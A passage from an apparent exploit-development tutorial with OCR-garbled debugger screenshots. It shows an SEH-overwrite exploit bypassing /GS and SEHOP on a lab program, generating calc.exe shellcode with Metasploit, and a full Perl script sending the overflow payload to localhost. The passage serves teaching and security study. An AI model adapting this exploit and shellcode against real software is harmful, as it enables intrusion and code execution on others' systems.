BR4ESRI0( B BE OB 00| GO 60 08 G0 ‘g
BEIEFFS4| oooaéEaa| .. ..
PR4GZR4S| B0 BE 0D 60|06 G0 00 G0 e
BE4GIGEA( 00 OB 00 68| 00 05 6O 6O ElRE e E R et
eE3EFFaC| | 7PeRDeEs | ALl u| RETURN to kernel32. PPBA0GED
PR4AZACS| A6 0O 0D 60|06 03 03 60
BE4E3E5A( PR B DD OB BA BE GO 0@ BESEFF3Y| | BogEaEsy) ... .
E
PE4ESELS( B0 O 00 00| GO 08 68 00 BEIBFF94) REEIBFFOY) ® ;.
ea2eFFo2|[ 772E196E 7 44| RETURN to ntdll.772B19EE
BE4G2670( B0 B0 0O 00| GO 68 68 68
eaZEFFaC| | eeaceaaa| . .. .
PR4ESE7S( 6O B0 B8 00| GO 68 68 OF i | el RN [
BR4GESE20( B0 BE OB 00| GO 60 08 G0 et | [
BR4AZEEE| BB PO 0B 06|60 0o 0o oo| e BESEFFRY)| Boashoag -
|Run program (F9>» |Running

now the application is running. Finally send to it the data by running the a6.pl

.| Administrator: Command Prompt

:s0ldrab.pl
=01d >

The application stops because of the division by 0 error
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4. Immunity Debugger - patching.exe - [CPU - main thread, module mydil]

File View Debug Plugins Immlib Options Window Help Jobs _||5’|£|
OF%TE Mx > I ¥+ lemtwhcPkbzr.s?J|
FrrD BC TOIW DWORD TR : :
TAEDlbre| SO4E B0 MOL DWORD PTR Soe EEELZEEEEEQEPU] S S S
745216873 EB @O0 JHP SHORT rmud L L E0Y Goeooaes
CAES1000| Eo4nCFC FEFFFFFLADY DWORD FiA S5 EDv ooeooaon
74621052 EBS SFlE627d MOU ERX.mudll.7¢ | EE5 Spaiibee MSUCRIB. printf
7431027 C2 RETH el c
Z3cSioor| Gb4n F4 o IHOU EGW . DubRn pi | EBF DeizEDes
7aczinoz| S4:5980 ROGAEE MOU DNORD PTR F: | S5l fEFEESEb WE2 S2.closesocket
74621893 E9 FOP ECH
rdeaian| o FOP ED EIF 74621873 mydll. 74621673
C B ES BAZ2 22hit B(FFFFFFFF)
ra4cz1eac) =B POF EBx F & ©f ealE 37hbit GiFFFFFFFF)
74521690 BB4D ES MOU ECH,DWORD F1 |5 & 52 Gazs asbit GiFFFFFRFF)
rdcz1BAE| 3300 #OR ECH, EBP +lz 5 DS G822 32bit @CFFFFFEFE)
F4e21602) ES B4BEERE0 CALL mydll. s S Pe cien cana SlERARERRS
Stack S5S5:[801ZEDS4 I=0BEEEEEE T8 G5 68688 HULL
0@
0B LastErr ERROR_SUCCESS [AEEREHEHE1
Address [Hex dump | SOE4C1EF|+Em -
DRIE3E60| OB Sz 88 £0| 64 60 rr 92| T oarocoga| 2222885 P, . .
BE1ZES3S| 6BS110CE| [Fwiik| MSUCRSS. printf
BR4E2816| FE FF FF FF|G1 06 GG 56|
BR1ZESSC| PROBEE11|A. ..
BR4E36R12) 34 21 46 06|66 08 GG 6| L. . -
BR463620| A1 G8 B8 B8\ CE 19 2B o@|( | 9912E94@) CCOCCCCC [FFFF
BR1ZESd4| CCCOCOOT| [FIFFE
BE4E3822| B8 12 2B 00| 00 08 09 69 Il
BR1SES4E| CCCCCOOT| [FIFEE
BR463056) 60 68 B0 06| GO 0A AA A6 Il
BA1ZESdT| CCOOCOOT| [FIFEE
BR4E3R32| B0 GF GO GO BE 0O AA A6 e e I RS,
BR4E2R40| B0 G5 G5 G5 B8 08 A A6 Il
BR1ZESES| CCCCCOOT| [FIFFE
BR4E2R4E| B0 GF GO G5 B8 08 A A0 Il
BR1ZESES| CCCCCOOT| [FIFFE
BR4E3RCH| 66 GF G5 G5 B8 G5 BE A6 Il
BR1ZESEC| CCCCCOOT| [FIFFE
BR4EIRCE| BB G5 G5 06| B G5 GG 66 Il
BR4E3RCE| B0 GF G5 06| B 03 A AG BR12EIEE| COOOCCOD) [FIFIFF
BR1ZEDES| CCCCCOOT| [FIFEFE
BE4E3053| B9 G5 B9 00| 0O 0O 09 69 Il
BR1SEDES| CCCOCOOT| [FIFEE
BR463676)| 60 68 B0 GO GO 0 AA A6 Il
BA1ZESEC| CCOOCOOT| [FIFEE
BR4E367| B0 GF GO GO BE 0BG A6 BB15E97| Fecrecoe| ELHE
BR4E2R56)| B0 G5 GO G5 B 08 A A6 BB1oE90a| roorecee| [ELdE
BR4G3622| 68 0O 66 66|60 66 66 oo Mo 2B1SEICE CLELLLLL) I -
=54: nteger division by =Zero — use i 0 ause
[A5:54:381 Int d b Shift+F7-F8-F2 t P d

Put a breakpoint to the POP, POP RETN instruction at address 0x00401473. Right click to the
disassembler window, and from the popup menu select go to \ expression

4. Immunity Debugger - patching.exe - [CPU - main thread, module
@ File View Debug Pluginge Immlib Options Window Help Jobs
O EE Mx P I MHEF A 1 emt
[ e L = TR S5: i
Fegisters (FF
BE4E1653  Backup =
[S1SEYE N zh Lng.J ECH @mdEldra
004010 ’ EDY 772DEFED
Rt - EEY BEOGEEEE
BA431 AR inary Si[ESF  1EcF mmizEced
madalaAl P S:(ESP | Cop onizpeod
L == e | R
el = ottt | o onanies
Gp4placy  COmMENt i 2,884 |- o Eo pmes
2R4B1BCY  Add Header . F i C3%eale
BE4E1ECH =hing. 0@ S5 EE2D
BedE18C0  Modify Variable £ 1 D05 @azs
EB4a1 B0 S @ F3 ee3E
BE4E1803  Breakpoint B PS:0<& 1T @ G5 oooe
Aa40100d  Runtr b Dg
un trace
A6 1E0H 08 LastErr
BA4E 1800 . w | EFL G0EEEz246
codoiand  Mew origin here Cirl+Gray * e STE cmnti @ g
| Cirigin e E
Follow in Dump b Previous  Minus B
Address [z
PRaEo0s  Search for » i
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in the appearing popup window type the 0x00401473 address, then click to OK:

Enter expression to follow

IEI:-:EIEI4EI1 473 |

k. I Eancell

to add breakpoint here right click to the address in the debugger window and from the popup menu
select breakpoint / toggle

<. Immunity Debugger - patching.exe - [CPU - main thread, module patching
File View Debug Plugins Immlib Options Window Help Jobs

O EE xRl 1 emtwh
| Ba401473 ———

& | Registers (FPU)

nggmgg Backup k ERy DOEEEEEE
an4a147e(  Copy b i PTR 550 | Eni Soaneren noart. oo
BR4E1479 _ O FTR S5 | FEY Aemamnns
BE4E147C Binary P 'R DSilmai ESF BE1ZECES
BR4E1451 EEF @61ZESEd

BRG] 455 Assemble Space g nos: [ma.-._l
CEAETREE . e in. 08| ERT Gonoagag

aaqpiqce||  Label :
AE4E] 400 Commant . TR OS=[4% EIF 884814732 patching
BE4A] 492 0 [F D3:lhas. Mo g g o@eza azbit of
aa4al43s) Add Header ptching. B8 |\p 05 pelE 3Zbit Gi
BE4E1 490 (TR D=:[<% Mg @ 23 e@zs 32b0it @i
aa4a14A8| | Modify Variable R OSSICEEP 17 1 DS 6623 33bit &0
BE4E1 407

| | |
ea4914E2||  Run trace #|  Conditional shift+#F2 |

Then press Shift + F9 to let the application continue. The application stops at our breakpoint:
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4. Immunity Debugger - patching.exe - [CPU - main thread, module patching]
@ File View Debug Plugins Immlib Options Window Help Jobs

=18 x|

109/122

;§,ll X P Il B ¥

l emtwhocecPk©bzr

s 21l
<

FOP ECH -
e o o £ S B —
BB4E1476| SBES ES MOU ESF,OWORD FTR S3: | Eppi 22381372 patehing. Badaldars
BB4A1473| 8B4E EG MOU ERi,DWORD PTR 35: | EE freDefeD -
BE4A147C| A3 58304000 MOU DWORD PTR OS:mai | ESH 22998800
BE4R1451| 330E WOR EEX, EEY ESF gaisEsed
Siih Sl |GF ST o ol 2
patching.
BE4B142E| 5B FUSH EAR EDI @6808809 _
R i
H a5, H

Go4a1435( 75 @6 JNZ SHORT patching.os |5 § EZ 9252 Z2bit BIEFEERREC)
60401430 FF15 4C2@48@8 | CALL DWORD FTR Ds:ics |G L1 52 2A1E SZbiv BIFFFFEFER)
GB4614A6| CP4E FC FEFFFFFIMOU DWORD PTR ss:(epp |5 9 53 223 S2biv BIFFFRREFR)
BE4G1407| A1 55204060 MOU ERX,DWORD PTR Ds: |5 1 B5 9228 Sepir QIFFFERFFE)
BE4G140C| ES HDBCHDED CALL patching._ SEH e |3 2 F5 2236 3abi
Bo4n148% B4 4DSAEDes i Efx, 540 02
BE4R14E7| 66:3905 POEB4PE CHF WORD FTR DS:[4ppe |0 @ LastErr ERROR_SUCCESS (08200883
aa4014eE| 74 04 JE_SHORT patch ing. 64 wl| EFL 69968246 (10, NB, E, BE, NS, PE, GE, LE)
ook TERTCEEedT= T oIEr TS thedl L T ober o) gﬁ EMpty S-gggggggggggggggggggg
HESERIGTS [PEEEh (e, EEr e ) T2 Emory B ERAERAERGEREEHEEERE

ST5 empty . PEPAREDAEEEEEREEEREE
Rddress |Hen dump oIl " TTEOLF oy W] FETURN to ntdll.Tre05FTS o
BE4ESE0E| ZE Ar Ay FE|DL G 55 Bl .00mTHAE e
BB46002| FE FF FF FF|FF FF FF FF e e
Bp43016| FE FF FF FF| 61 B8 0o ool o... e
HRIESALS| 34 21 48 @0 B O3 08 98| 41E... .. BR1ZEET2| BALZEDMC|Le#. |Pointer to newt SEH record
BE4ASEZ6| 51 BE BB DA\ 0O 19 C3 08| 0. .. tbt. e S D e i ol e
BE4ASEZE| B0 15 C3 0B B0 BB 68 08| . 0 F.. ... e e s
BE4ASH50| 60 PO 6D DB B0 DO BB B8] .. ... ... Da12E5ED) GDIZEDAC] Les.
HB483835( 09 08 00 0O( B8 B3 00 BAl........ pa12EEaa|| 7P205FAE| K_—w| RETURN to ntdll.77P20SF4E i
BE4GSH46| B0 DO GO OB B0 DO BB 68| .. ... ... e e I
BE4GS045| B0 DO GO OB B0 DO BB BB ... ... .. CNEEEED T
BE4BSECE| 60 BE BB DB B0 BO BB DE| .. ... e e L,
BE4ESECE| B0 DO 0D 06| B0 DO GO B8] ... ... .. e | e -
| ARARSAEA] AR AR AR AR AR AR RA AR pE.

|[E4:59:11] Breakpoint at

patching. 88481473

|Paused

press F8 three times, and arrive to the stack:
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4. Immunity Debugger - patching.exe - [CPU - main thread]
@ File View Debug Plugins Immlib Options Window Help Jobs _||5’|£|
OB TE X P U wHEEY lemtwhcPkbzr..s ?ll
BE1ZEDTS] L THTS i
BE1ZEDZA| CC INTZ - EEELZEEEEEEEPU] AL S
@E1ZEDZE| CC INTZ Sel Spaae
S EELE | (D ) EDW 7P20SFE0 ntdl L. PP20EFED
BE1ZEDZ0| CC INTZ S0 Lpmiead
BE1ZEDZE| CC INTZ EEY omiopean
BE1ZEDSF| CC INT2 Eraghe=s
BaizED4t| GE e ESI Bopanaas
BE1ZED4Z| INTZ EDI bBubgaes
BaicEndd| Gt TS ol paleE
C @ ES 923 32bit BLFFFFFFFF)
| T F 1 CS GBiE 3Zbit BIFFFFFFFF)
golsEDas) oL HME A @ S5 @E23 32bit @(FFFFFFFF)
golZEDar| X TS Z 1 DS 8823 32bit BIFFFFFFFF)
golgEDas| L TS S @ F5 9938 32bit TFFOEREACFFF)
S i o [ I
i e 0 8 LastErr ERROR_SUCCESS |GRGHGEHARI
OO12ED4E| 12008 ADC AL,EYTE PTR DS:[E w | EFL B@RE246 (NO,ME,E, BE, NS, PE, GE, LE)
: 5TH empty B, BEEEEHEHEHHEHEEEGEEE
Jump s taken ST1 empty @.OEOEEEEECEGEEE0EEE6E
ST2 empty 6. OEGEEEGEGEGEEEGEEE6E
ST3 enpty 8. OBOADOEDOANAOOEDERDG
Address [Hex dump ASCII " GE] ZECEH| = m=F -
= BRIZECF4| MALZEEZD| pt.
b pada) e i (el (SRRt BE1ZES7s| BE1ZED4C|Let. |Fointer to next SEH record
gyt | dgaddpa dalal S 45 BE1ZESTC| 7P20SFED| 1_—w|SE handler
oac BE1ZESSA| BE1ZE04C| Lot.
BO403812 34 21 42 98|80 B0 BO 0| 4tE.. ... e | e e
donlast il a0y W) al) D) L) B 5 8 oo ol 661 2E55E || FPE05FAE| K| RETURM to ntdll.7PEO0SF4E fi
EE4E3E2E B8 13 C3 oo|oe @6 ea oa|.it.. ... BOLZESSS|| freDsPai Kot
BEIEIECE| 00 P65 60 0|68 B8 BE Ga[........ go12ESee| | aizEeac Les.
PE4EIE2E| 00 Be 60 op|oe Be ea Gal .. ...l .. go12E578) | GalzEDaC) Les,
BE4EIE40( 56 56 60 GB|o8 B8 Ba Gal .. ... ... doteERI | aoieenas ﬁ:*
pdoondc|on oo bo Dol B BB DD BBl -eeeeees 831 ZEEaC || BE4E1472| <T@, |RETURN to patching. BB4E1473
"""" ea1zEcqe| | eeesaees| .
BE4E3055| 00 oe oo ooloe @8 oo eal........ | D21ZESHE | BamaRanE ..o -
| AR4ASAGAl AR AR AR AR AR AR AR AA P,
| | |Paused

As we can see our jump is there, and the application wants to jump. Press again F8 to arrive to that

position:
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4. Immunity Debugger - patching.exe - [CPU - main thread]
@ File View Debug Plugins Immlib Options Window Help Jobs - ||5’|£|
OB TE X P U wHEEY lemtwhcPkbzr..s ?ll
SS%%EEEE EE %Hig & | RBegisters (FPL 4 s £
Ba12ED25] CC INT3 ECV BoloEedr
EE%EEEEE ez L1FCFFFE ?H$39912595@ EDH 7F20EF20 ntdll.77205FED
BE12E048| CC INTZ EEn panEEnEn
BEiZED41| CC INTZ EBF GO12Eo04
BaizEDes| GE e ESI BapEaa5s
BE1ZED44| CC INTZ EDI bEBBaues
BaicEneg| Gt TS oir paleEne
C B ES BE2Z 2ohit BIFFFFFFFF)
| T [ F1 CS BB1E SZbit BIFFFFFFFF)
ShEEE| LUE A B S5 BE2Z ZEbit BIFFFFFFFF)
o at LS =0z L DS oezs SEbiv BIFFFFFFFF)
S B FS GESE 35hit PFFOFEEELFFF)
5 g 55 BEEE HULL
0 @ LastErr ERROR_SUCCESS (G@OBGEES0E)
Address |Hes dump | BE] ZEGEE [~ ==t -
OEJRZEED| 98 92 2% 60| 64 &0 ¢r 92 ¢ SS%EEE;Q ggiggggg LP*- .
BE4E2882| FF FF FF FF|FF FF FF FF _¢'¢- Fointer to nesdt SEH record
BR4E36R12) 34 21 46 06|66 08 GG 6| ggi%gggﬂ _SS%EEEQE h*:-
GE403026|61 06 6 bo|co 12 26 ol | DO1ZESER FOALZESS) dud.
BE4E2IEZE| BE 12 2B G080 B8 0B G0 F_—-w|RETURM o ntdll.?7205F4E from ntdll.Esecu
PR4A3E36| A0 B0 0O 06| B9 09 BA G0 e e g
OE4ASESS| A0 0O B0 00| B PO 68 0@ EEr ek | e b
OE4EZE40| A0 05 PO 06| GO PO GF OO e | e
BE4E2E42| 60 05 PO 00| B PO GE OO ]| (e e e ) .
BE4E3E560| 56 B8 OB G0 B8 B8 08 G0 =9I, [ RETURH to patch lng.BEl4E114?3 from patch Lne
BR4EIRCE| BB G5 G5 06| B G5 GG 66 ggi%ggﬁﬂ SS?EEEEE e
GE4A3E60| 60 05 B0 GO R PO GE OO PEIEEEA | | EEnEai e
OE4BSEES| 60 0 B0 00| PO B0 o8 o@ ¥¥. |
oniooe-al 65 68 o6 s6l o6 68 b6 66 BE1ZEEAC|| FF2A9212| #i%w| RETURN to ntdll.7F2A9812 from ntdll._Rtl
PR4E3E7E| BB B0 PG 05 GO 090G G0 DR1ZESERI | DolZEEACiLrs.
OE4AZEI0| A0 05 B0 06| GO B0 GF OO e (| e e
BD4E305E| 00 D 6B 06 09 oD 6o oo wf 0B1SEARS)| ARISERSE| Tee -
| |Paused

Press again F8, to follow the jump:
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4. Immunity Debugger - patching.exe - [CPU - main thread]

@ File View Debug Plugins Immlib Options Window Help Jobs _||5’|£|
OB TE X P U wHEEY lemtwhcPkbzr..s ?ll
BGIZESCS] 10 GLleBllom SEE EAM, 116601 :
BE1ZESSE | BEEE ADD EYTE FTR DS:[EFe EEELEEEEEBEEPU] S S
BE1ZE4E| CC INTS S aanan
EELEE ) EDN 7720EFS0 ntdll. 7P20SFED
Ba1ZEI42| CC INT3 E=iper B
BEIZE343( CC INT2 S inEreee
BEIZE344| CC INT2 Eel
BBi2ED4E| GC s ESI Boiaong
BE1ZES47| CC INTS At izl
=1 i
C B ES BE23 22bit BIFFFFFFFE)
e | T i CZ BG1E 22bit BiFFFFFFFF)
golZEa4El T TS A B S5 BP23 32bit B(FFFFFFFF)
| T z 1 DS 9823 32bit BIFFFFFFFF)
S @ F5 BOSE 32bit FFFOFGEE!FFF]
@E1ZE34E| CC INTZ =L A e
i e o
L TEe
e HTS 0 B LsstEre ERROR_SUCCESS (GRBBHE0E)
BA1ZES52| CC INT3 EFL BEEaaz46 (MO,ME,E,BE,MS, PE, GE,LE]
BEIZE3ES| CC INT2
5TA empty @, AOAEEOEAEEEEEEEREREE
Ba12E954) CC INT2 vl =71 empty O, ODOOEEEEOEEEEDEREEEG

5T2 empty B, BEEAAEEREEEEGEEEAEEE
5T3 empty B, BEEEEEEEEEEEEEEEAEEE
5T4 empty B, BEEEEEEREEEEEEEEAEEE
STE empty O, BEEEEEERRARAREEEEAEEEA

Address GE1 2EEEE| ==t 2
BR4EZEEE AA1ZEEFd | BE1IZEEZE( p#. _

BE4E2HES BA1Z2EEFE) BE12ED4C| Le#. (Pointer to nenwt SEH record

AR4EZE1 6 BE12EEPC| YP205FE0( i_-w| S5E handler

BR4AZE1S AE1ZEESE( BE12ED4C| Lad,

BR4AZEZE AE1ZESSY FEE1 2ECSY | dp .

BR4E2E2S BEl12ESEE (| Tr205F4E | K_-w| RETURH to ntdll.7F205F4E from ntdll.Eqdec
BR4A2E26 BE1ZESEC|| BBl Z2ES4C| Ly #

BR4ESESS BE1ZESE (| BE1ZEDGC | L. __J
BR4ESE4E AE1Z2ES9 (| BE1ZECEE | ~ m=t

BE4E2E42 AA1ZEESS (]| BR1ZEC2E( p¥.

| AR4FSACA F U GE12ESIC|] 08481472 =M@, | RETURH to patching. 884681473 from patching™

|Gu to address in Disasszemhler |Paused




Patch-based exploit development with /GS and SEHOP bypass 113/122

As we can see our code arrives exactly whare we expected. So the final step is to add the shellcode
to the exploit. To do it first generate the shellcode by metasploit it can be download from
http://www.metasploit.com/download/

click ok on the warning messages:
E Warning |

. This product is not compatible with common anti-virus solutions.
L Before continuing, please disable any installed anti-virus software
— or add an exclusion for the Metasploit installation directory. Failure
to do so can lead to a corrupt installation and the malfunctioning

of certain exploit modules,

& Warming |

This product is not compatible with comman firewall applications.
Although it is possible to use Metasploit with a firewall in place, a
fireweall will interfere with the function of certain exploits and
pavloads, Please ensure that the Windows Firewall is disabled
prior to using this product for & penetration test,

Click next on the setup screen


http://www.metasploit.com/download/
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B Setup g o 3

Setup - Metasploit Framework

Welcome to the Metasploit Framework Setup Wizard.

< Back | Mext = Cancel

Accept the license agreement, then click on the next button:

B Setup o]

License Agreement

Please read the following License Agreement. You must accept the terms of this agreement before
continuing with the installation.

Copyright (C) Z00&-2011, Rapid7? LLC e
211 rights reserved.

Bedistribution and use in source and binary forma, with or without
modification,
are permitted provided that the following conditions are met:

* Bedistributions of source code must retain the above
copvright notice. _:J

{% i1 accept the agreement!

Do you accept this license?
I do not accept the agreement

< Back Mext = Cancel

Set the installation directory:
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B Setup P [l 3

Installation folder

Please, choose a folder to install Metasploit Framework

Select & folder

< Back Mext = Cancel

if you want to update select yes, my virtual machine does not have internet connectio so I do not
bother with it:

B setup —ox]|

Automatic updates

Metasploit Framework development progresses very quickly. To get the latest modules and
updates, we recommend that you update daily,

|Ipdate automatically? (Recommended)
" Yes

< Back Mext = Cancel

Click next to start the installation process:
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[ 1]

Ready to Install @

Setup is now ready to begin installing Metasploit Framework on your computer,

< Back Mext = Cancel

and wait

Rsep
i metasploit”

@ Join the active community of over 150,000 users and yrowing
@ Write reliable exploits, faster, using the Metasnploit API
@ leveraye the laryest public database of qualitytested exploits

Installing
Unpacking files

Cancel

Then click to finish
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Wizard

computer.

B Setup g o 3

Completing the Metasploit Framework Setup

Setup has finished installing Metasploit Framework on your

| _. ......... F Ir“s h .......... .\, |

Cancel

start the Metasploit Console. Select Metasploit Frameworks \ Metasploit Console

) Immunity Inc
| Maintenance
| Metasploit Framework
H Armitage
= Metasploit Console
() Metasplait GUI
& 11=tzsploit IRE
Metasploit Update
<%= Metasploit Website —
System Console
=3 Uninstall
| Additional Tools
| Microsoft Visual C++ 2008 Express Edition ;I

1 Back

TN LAV R

Control Panel

Administrative Tools

Help and Support

Run...

k

Start Search

B o | a ]

117/122

After the metasploit starts we want to generate a payload. To see the possibe ones type "show

payloads" then hot enter.
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= Metasploit =l B
| Fle Edit view Help
J o~ & B | E.j & | ® @
F
m=f > show pavloads
Payloads []
Hame Di=sclosure Date Rank Des=
cription
aix/ppc/shell bind tcp normal ATX
Command Shell, EBEind TCP Inline
aix/ppc/shell find port normal ATX
Command Shell, Find Port Inline
aix/ppc/shell interact normal ATX
execve shell for inetd
aix/ppc/shell reverse tcp normal ATX
Command Shell, Eeverse TCP Inline
besd/sparc/shell bind tcp normal BSD
Command Shell, Bind TCP Inline
bsd/sparc/shell reverse tcp normal BSD
Command Shell, Eeverse TCP Inline
bad/x86/exec normal BSD
Execute Command
bed/x86/metsve bind tep normal Fre|w
Ready 2580 g

I will use a payload what starts the calc.exe. To do it type "use windows/exec"

et Metasploit =] 1

| Fle Edit vView Hel

J o~ & $|Eﬂ&|@@

m3f > use windows/exec ’ﬂ

msf pavload(exec) >
check the possible parameters. To do it type "show options"
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e Metasploit I =]

| Fle Edit view Hel

J G+ R EE>|EDE3|@@

m=f payload(exec) > show options -~

Module options (pavload/windows/exec):

Hame Current Setting Reguired Description
CHD ves The command string Lo execute
EXITFUNC process ves Exit technigque: =seh, thread, process, no

m=f payload(exec) >

As we can see it has two parameters, the command to execute, and the exit function. We call our
code with a SEH overwrite so the exitfunc must be seh. And we want to start the calc.exe so the
cmd must be "c:\\Windows\\System32\\calc.exe".(do not forget, the \ must be escaped in metasploit)

= Metasploit o =]

| Fle Edit View Help

J G R = ::>||:.jﬁ|@@

m=f pavlicadisxec) > s=t cmd cihivwindowshhsystem3IZihcalo.exe -
cmd =» ci\windows\system32\calc.exe

m=f payload(exec) > set exitfunc =eh

exitfunc =» =3eh

m=f pavlcadiexec) >

To get the shellcode type "generate -t perl" we use the -t perl switch to get the result in perl because
we used this language until this:


file://Windows//System32//calc.exe
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== Metasploit o =]
| Fle Edit View Help
J o~ % $|[t]Eﬁ|@3~@
m=f payload(exec) > generate -t perl -~
£ windows/exec - 220 bytes
£ http: S/ /www.metasploit.com
£ VERBCSE=false, EXITFUNC=ssh,
£ CHD=c:‘windows'system3Zicalc.sxes
my Fbuf =
Mo\ Hef KB 00RO OO\ HE0 N BB\ xS\ x3 1\ nd2\ HE4 HER\ B2
M RIONHERANKEZ N0 HERA RS2\ 1AM HER AR T2\ I KO D\ kT A K4\ I E" .

M RIINHEE NI\l Rach K3\ e\ T e\ RO\ w2 K2 D el e w04 .
M0\ T\xe2 W\ xEf0 RS2\ RET A\ REL\ K52\ x 10\ xEb A\ X4 2\ x3chx0 1\ xdO™ .
M REEARKE0NKTENKESA RO\ KT\ x4 \ X0\ Rd0\ x50\ HEb A\ x4 8\ R1E\ X8 .
ML REENHZ 0N KON AN KeI A KI o\ H4 N HER\ R34\ HER\ KO L xd e\ k31 KED .
"IN\ xac\xelh\ReE\RO0dN RO LN T X3\ xe 0N RTEARE4\ KO3\ xTd"™ .
M REEN IR A K TAN NI AN KT E A e 2\ S BN HER A REEA K AN N0\ xdZ N HEE\ KERT .
" ROeN KA\ KER A\ HEEANRIcA KO L\ A3\ xERARO4 A\ KB\ RO\ xd 0\ RE T\ x44™ |
M RZANHZ AN M SR NN REL ARSI\ HEa N SN KE D A e 0N HEE A SN KE A HER"T .
M RIZN ek HEE N AN KER A KO LN HEAN HESANKE A KOO KOO KOO KD HEE™ |
M RIINHER KA HETAREDS A A kbR xfe\ K02\ K32\ Hea\ KEeE\Ha g waE" |
"y RbdN X IANKEE\ xASARIc A\ K0E\ KT\ x0a\RE0\ X\ e\ x TS\ RO5\ xkbb" .
M RATANHIE N KT 2N e E N KEa A KO0\ HES N HE DN RAS A eI K3\ e\ T T wea" |
M REEN AN KA T TR T I RS N XT3 AT O T3 AT e\ a5 wed H33 32"

M RECANHEINKEL AN HEC N HES N KIS\ HEE N KT ENHES N OO

m=f pavlcad(exec) >

We got our shellcode, what is 220 bytes long:

my Sbuf =
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52"
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26"
"\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xcl\xcf\x0d"
"\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0O"
"\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b"
"\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff"
"\x31\xc0\xac\xcl\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x74"
"\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44"
"\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b"
"\x12\xeb\x86\x5d\x6a\x01\x8d\x85\xb9\x00\x00\x00\x50\x68"
"\x31\x8b\x6f\x87\xff\xd5\xbb\xfe\x0e\x32\xea\x68\xa6\x95"
"\ xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
"\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5\x63\x3a\x5c\x77\x69"
"\x6e\x64\x6f\x77\x73\x5c\x73\x79\x73\x74\x65\x6d\x33\x32"
"\x5c\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";

Our script will be a7.pl:
use IO::Socket;

my Sbuf =
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xeb\x31\xd2\x64\x8b\x52"
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"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26"
"\x31\xff\x31\xcO0\xac\x3c\x61\x7c\x02\x2c\x20\xcl\xcf\x0d"
"\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0"
"\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b"
"\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xf£t"
"\x31\xc0\xac\xcl\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x74"
"\x£8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44"
"\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b"
"\x12\xeb\x86\x5d\x6a\x01\x8d\x85\xb9\x00\x00\x00\x50\x68"
"\x31\x8b\x6f\x87\xff\xd5\xbb\xfe\x0e\x32\xea\x68\xa6\x95"
"\ xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
"\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5\x63\x3a\x5c\x77\x69"
"\x6e\x64\x6f\x77\x73\x5c\x73\x79\x73\x74\x65\x6d\x33\x32"
"\x5c\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";

my S$sock = new IO::Socket::INET (

PeerAddr => '127.0.0.1",

PeerPort => '12345"',

Proto => 'tcp',

) ;

die "Error: $!\n" unless S$sock;

my $line = "\x90" x 32

Sbuf

"\x90" x 568

"\x78\xFF\x12\x00"

"\x90" x 194

"\xEI\x1I\XFC\xFF\xFF"

"\x90" x 13

"\x74\xEC\x12\x00"

"\x73\x14\x40\x00";

my $len = length S$line;

my Smsg = pack "L", S$len;

print Ssock Smsg . $line;

close ($sock) ;
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We can try this shellcode. save this perl script, then close the debugger, and restart the application.

Type 0 as number, to trigger the exception handling:

.| Administrator: Command Prompt - patching.exe

:sO0ld>patching.exe
nter a number if B division by zero fires the exception handler:

Then on the other command window run a7.pl

[c+.| Administrator: Command Prompt

=s0ld>xa?.pl
=~01d>



Patch-based exploit development with /GS and SEHOP bypass 122/122

And a nice calculator appears:

[ calculator =o0]|

Edit View Help

ca

I_ Backspace CE C
MC 7 8 9 sqrt
MR 4 T 6 * %
MS 1 P 3 - 1%
M-+ 1] =/ . + =

unfortunately there is an error message as well, but it works
':§ Microsoft Windows =] |

patching.exe has stopped working

Windows i collecting more information about the problem. This might
take several minutes. ..
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